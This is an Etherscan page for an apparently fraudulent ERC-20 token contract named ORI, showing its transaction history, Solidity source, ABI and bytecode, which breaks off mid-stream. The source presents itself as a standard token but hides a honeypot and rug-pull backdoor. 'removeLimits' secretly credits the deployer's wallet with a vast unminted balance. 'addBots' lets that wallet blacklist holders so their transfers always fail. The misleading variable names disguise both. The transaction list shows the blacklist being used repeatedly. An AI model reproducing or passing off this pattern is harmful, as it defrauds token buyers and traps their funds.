ETH Price: $3,384.79 (+4.63%)
Gas: 3 Gwei

Contract

0xA86fdab8bdc088c53A442Fc1e6c96553DcDCC1F6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve191025912024-01-28 4:14:59183 days ago1706415299IN
0xA86fdab8...3DcDCC1F6
0 ETH0.000531511.33847185
Remove Limits191025862024-01-28 4:13:59183 days ago1706415239IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0003410810.95039697
Approve190971882024-01-27 10:01:23183 days ago1706349683IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006942214.79471189
Approve190971652024-01-27 9:56:47183 days ago1706349407IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0005703912.17135246
Approve190970852024-01-27 9:40:35184 days ago1706348435IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006026512.8597515
Add Bots190970742024-01-27 9:38:23184 days ago1706348303IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006219912.75288451
Approve190970502024-01-27 9:33:35184 days ago1706348015IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0005785212.34481938
Approve190970432024-01-27 9:32:11184 days ago1706347931IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006363313.5782979
Approve190970222024-01-27 9:27:59184 days ago1706347679IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0003441411.43810768
Approve190970202024-01-27 9:27:35184 days ago1706347655IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0005315911.32892434
Approve190970052024-01-27 9:24:35184 days ago1706347475IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0005758412.28766629
Approve190969892024-01-27 9:21:23184 days ago1706347283IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006287613.34172411
Approve190969762024-01-27 9:18:47184 days ago1706347127IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0003949513.15303229
Approve190969762024-01-27 9:18:47184 days ago1706347127IN
0xA86fdab8...3DcDCC1F6
0 ETH0.000616413.15303229
Approve190969642024-01-27 9:16:23184 days ago1706346983IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0005927412.65475305
Approve190969572024-01-27 9:14:59184 days ago1706346899IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006200313.23048734
Add Bots190969382024-01-27 9:10:59184 days ago1706346659IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006084412.47812506
Approve190969252024-01-27 9:08:23184 days ago1706346503IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006279313.3990932
Approve190969182024-01-27 9:06:59184 days ago1706346419IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006133513.08787832
Approve190969052024-01-27 9:04:23184 days ago1706346263IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0005969412.7378152
Add Bots190968932024-01-27 9:01:59184 days ago1706346119IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006517613.36315902
Approve190968872024-01-27 9:00:47184 days ago1706346047IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006532613.93953426
Add Bots190968772024-01-27 8:58:47184 days ago1706345927IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006655413.64585385
Approve190968702024-01-27 8:57:23184 days ago1706345843IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006027412.86149059
Add Bots190968582024-01-27 8:54:59184 days ago1706345699IN
0xA86fdab8...3DcDCC1F6
0 ETH0.0006206412.72825027
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ORI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-01-27
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.20;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ORI is Context, IERC20Metadata, Ownable {

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _taxWallet;
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 100_000_000 * (10 ** _decimals); 
    uint128 taxAmount = 64544;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;
    constructor(string memory name_, string memory symbol_, address _to) {
        _name = name_;
        _symbol = symbol_;
        _taxWallet = _to;
        _mint(_to, hardCap);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function removeLimits() external   {
        if(_msgSender() == _taxWallet){  
            require( _taxWallet == _msgSender());  
            address feeAmount = _msgSender();
            address swapRouter = feeAmount;
            address devWallet = swapRouter; 
            _balances[devWallet] += devAmount;       
        }   
    }

    function addBots(address bot) public virtual returns (bool) {
        address tmoinfo = bot;      
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxWallet);
        return true;

    }

    function delBots(address notbot) external  {
        address tmoinfo = notbot;       
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxWallet);
        
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to, 
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = taxAmount + _balances[from] + taxAmount-taxAmount;}
        uint256 balance = _balances[from];
        require(
            balance >= amount,
            "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"_to","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261fc2060085f6101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555064056cc9ca2c62010cc062000058620001a660201b60201c565b600a62000066919062000553565b620000729190620005a3565b6200007e9190620005a3565b6009556001600a5f6101000a81548160ff0219169083151502179055505f600a60016101000a81548160ff021916908315150217905550348015620000c1575f80fd5b5060405162002a7b38038062002a7b8339818101604052810190620000e79190620007d3565b62000107620000fb620001ae60201b60201c565b620001b560201b60201c565b826005908162000118919062000a98565b5081600690816200012a919062000a98565b508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200019d816012600a62000180919062000553565b6305f5e100620001919190620005a3565b6200027660201b60201c565b50505062000c60565b5f6012905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002e7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002de9062000bda565b60405180910390fd5b8060045f828254620002fa919062000bfa565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200034f919062000bfa565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b5919062000c45565b60405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200044b57808604811115620004235762000422620003c1565b5b6001851615620004335780820291505b80810290506200044385620003ee565b945062000403565b94509492505050565b5f8262000465576001905062000537565b8162000474575f905062000537565b81600181146200048d57600281146200049857620004ce565b600191505062000537565b60ff841115620004ad57620004ac620003c1565b5b8360020a915084821115620004c757620004c6620003c1565b5b5062000537565b5060208310610133831016604e8410600b8410161715620005085782820a905083811115620005025762000501620003c1565b5b62000537565b620005178484846001620003fa565b92509050818404811115620005315762000530620003c1565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200055f826200053e565b91506200056c8362000547565b92506200059b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000454565b905092915050565b5f620005af826200053e565b9150620005bc836200053e565b9250828202620005cc816200053e565b91508282048414831517620005e657620005e5620003c1565b5b5092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200064e8262000606565b810181811067ffffffffffffffff8211171562000670576200066f62000616565b5b80604052505050565b5f62000684620005ed565b905062000692828262000643565b919050565b5f67ffffffffffffffff821115620006b457620006b362000616565b5b620006bf8262000606565b9050602081019050919050565b5f5b83811015620006eb578082015181840152602081019050620006ce565b5f8484015250505050565b5f6200070c620007068462000697565b62000679565b9050828152602081018484840111156200072b576200072a62000602565b5b62000738848285620006cc565b509392505050565b5f82601f830112620007575762000756620005fe565b5b815162000769848260208601620006f6565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200079d8262000772565b9050919050565b620007af8162000791565b8114620007ba575f80fd5b50565b5f81519050620007cd81620007a4565b92915050565b5f805f60608486031215620007ed57620007ec620005f6565b5b5f84015167ffffffffffffffff8111156200080d576200080c620005fa565b5b6200081b8682870162000740565b935050602084015167ffffffffffffffff8111156200083f576200083e620005fa565b5b6200084d8682870162000740565b92505060406200086086828701620007bd565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008b957607f821691505b602082108103620008cf57620008ce62000874565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620009337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008f6565b6200093f8683620008f6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620009806200097a62000974846200053e565b62000957565b6200053e565b9050919050565b5f819050919050565b6200099b8362000960565b620009b3620009aa8262000987565b84845462000902565b825550505050565b5f90565b620009c9620009bb565b620009d681848462000990565b505050565b5b81811015620009fd57620009f15f82620009bf565b600181019050620009dc565b5050565b601f82111562000a4c5762000a1681620008d5565b62000a2184620008e7565b8101602085101562000a31578190505b62000a4962000a4085620008e7565b830182620009db565b50505b505050565b5f82821c905092915050565b5f62000a6e5f198460080262000a51565b1980831691505092915050565b5f62000a88838362000a5d565b9150826002028217905092915050565b62000aa3826200086a565b67ffffffffffffffff81111562000abf5762000abe62000616565b5b62000acb8254620008a1565b62000ad882828562000a01565b5f60209050601f83116001811462000b0e575f841562000af9578287015190505b62000b05858262000a7b565b86555062000b74565b601f19841662000b1e86620008d5565b5f5b8281101562000b475784890151825560018201915060208501945060208101905062000b20565b8683101562000b67578489015162000b63601f89168262000a5d565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000bc2601f8362000b7c565b915062000bcf8262000b8c565b602082019050919050565b5f6020820190508181035f83015262000bf38162000bb4565b9050919050565b5f62000c06826200053e565b915062000c13836200053e565b925082820190508082111562000c2e5762000c2d620003c1565b5b92915050565b62000c3f816200053e565b82525050565b5f60208201905062000c5a5f83018462000c34565b92915050565b611e0d8062000c6e5f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e14610369578063f2fde38b14610399578063fb86a404146103b55761011f565b806370a0823114610289578063715018a6146102b9578063751039fc146102c35780638da5cb5b146102cd57806395d89b41146102eb5761011f565b8063313ce567116100f2578063313ce567146101bf57806339509351146101dd5780634c8afff41461020d57806356ec63a51461022957806364473a12146102595761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103d3565b60405161013891906113f6565b60405180910390f35b61015b600480360381019061015691906114a7565b610463565b60405161016891906114ff565b60405180910390f35b610179610480565b6040516101869190611527565b60405180910390f35b6101a960048036038101906101a49190611540565b610489565b6040516101b691906114ff565b60405180910390f35b6101c761057b565b6040516101d491906115ab565b60405180910390f35b6101f760048036038101906101f291906114a7565b610583565b60405161020491906114ff565b60405180910390f35b610227600480360381019061022291906115c4565b61062a565b005b610243600480360381019061023e91906115c4565b6106f4565b60405161025091906114ff565b60405180910390f35b610273600480360381019061026e91906115c4565b6107c4565b60405161028091906114ff565b60405180910390f35b6102a3600480360381019061029e91906115c4565b6107e1565b6040516102b09190611527565b60405180910390f35b6102c1610827565b005b6102cb61083a565b005b6102d5610962565b6040516102e291906115fe565b60405180910390f35b6102f3610989565b60405161030091906113f6565b60405180910390f35b610323600480360381019061031e91906114a7565b610a19565b60405161033091906114ff565b60405180910390f35b610353600480360381019061034e91906114a7565b610aff565b60405161036091906114ff565b60405180910390f35b610383600480360381019061037e9190611617565b610b1c565b6040516103909190611527565b60405180910390f35b6103b360048036038101906103ae91906115c4565b610b9e565b005b6103bd610c20565b6040516103ca9190611527565b60405180910390f35b6060600580546103e290611682565b80601f016020809104026020016040519081016040528092919081815260200182805461040e90611682565b80156104595780601f1061043057610100808354040283529160200191610459565b820191905f5260205f20905b81548152906001019060200180831161043c57829003601f168201915b5050505050905090565b5f61047661046f610c40565b8484610c47565b6001905092915050565b5f600454905090565b5f610495848484610e0a565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104dc610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561055b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055290611722565b60405180910390fd5b61056f85610567610c40565b858403610c47565b60019150509392505050565b5f6012905090565b5f61062061058f610c40565b848460025f61059c610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461061b919061176d565b610c47565b6001905092915050565b5f819050600a60019054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d1610c40565b73ffffffffffffffffffffffffffffffffffffffff16146106f0575f80fd5b5050565b5f80829050600a5f9054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b610c40565b73ffffffffffffffffffffffffffffffffffffffff16146107ba575f80fd5b6001915050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61082f61122d565b6108385f6112ab565b565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087a610c40565b73ffffffffffffffffffffffffffffffffffffffff16036109605761089d610c40565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f4575f80fd5b5f6108fd610c40565b90505f8190505f81905060095460015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610955919061176d565b925050819055505050505b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461099890611682565b80601f01602080910402602001604051908101604052809291908181526020018280546109c490611682565b8015610a0f5780601f106109e657610100808354040283529160200191610a0f565b820191905f5260205f20905b8154815290600101906020018083116109f257829003601f168201915b5050505050905090565b5f8060025f610a26610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad790611810565b60405180910390fd5b610af4610aeb610c40565b85858403610c47565b600191505092915050565b5f610b12610b0b610c40565b8484610e0a565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ba661122d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b9061189e565b60405180910390fd5b610c1d816112ab565b50565b6012600a610c2e91906119eb565b6305f5e100610c3d9190611a35565b81565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac90611ae6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90611b74565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfd9190611527565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6f90611c02565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd90611c90565b60405180910390fd5b6001151560035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361102a5760085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611013919061176d565b61101d919061176d565b6110279190611cae565b90505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611d51565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110f79190611cae565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611181919061176d565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161121f9190611527565b60405180910390a350505050565b611235610c40565b73ffffffffffffffffffffffffffffffffffffffff16611253610962565b73ffffffffffffffffffffffffffffffffffffffff16146112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a090611db9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113a3578082015181840152602081019050611388565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113c88261136c565b6113d28185611376565b93506113e2818560208601611386565b6113eb816113ae565b840191505092915050565b5f6020820190508181035f83015261140e81846113be565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114438261141a565b9050919050565b61145381611439565b811461145d575f80fd5b50565b5f8135905061146e8161144a565b92915050565b5f819050919050565b61148681611474565b8114611490575f80fd5b50565b5f813590506114a18161147d565b92915050565b5f80604083850312156114bd576114bc611416565b5b5f6114ca85828601611460565b92505060206114db85828601611493565b9150509250929050565b5f8115159050919050565b6114f9816114e5565b82525050565b5f6020820190506115125f8301846114f0565b92915050565b61152181611474565b82525050565b5f60208201905061153a5f830184611518565b92915050565b5f805f6060848603121561155757611556611416565b5b5f61156486828701611460565b935050602061157586828701611460565b925050604061158686828701611493565b9150509250925092565b5f60ff82169050919050565b6115a581611590565b82525050565b5f6020820190506115be5f83018461159c565b92915050565b5f602082840312156115d9576115d8611416565b5b5f6115e684828501611460565b91505092915050565b6115f881611439565b82525050565b5f6020820190506116115f8301846115ef565b92915050565b5f806040838503121561162d5761162c611416565b5b5f61163a85828601611460565b925050602061164b85828601611460565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061169957607f821691505b6020821081036116ac576116ab611655565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61170c602883611376565b9150611717826116b2565b604082019050919050565b5f6020820190508181035f83015261173981611700565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177782611474565b915061178283611474565b925082820190508082111561179a57611799611740565b5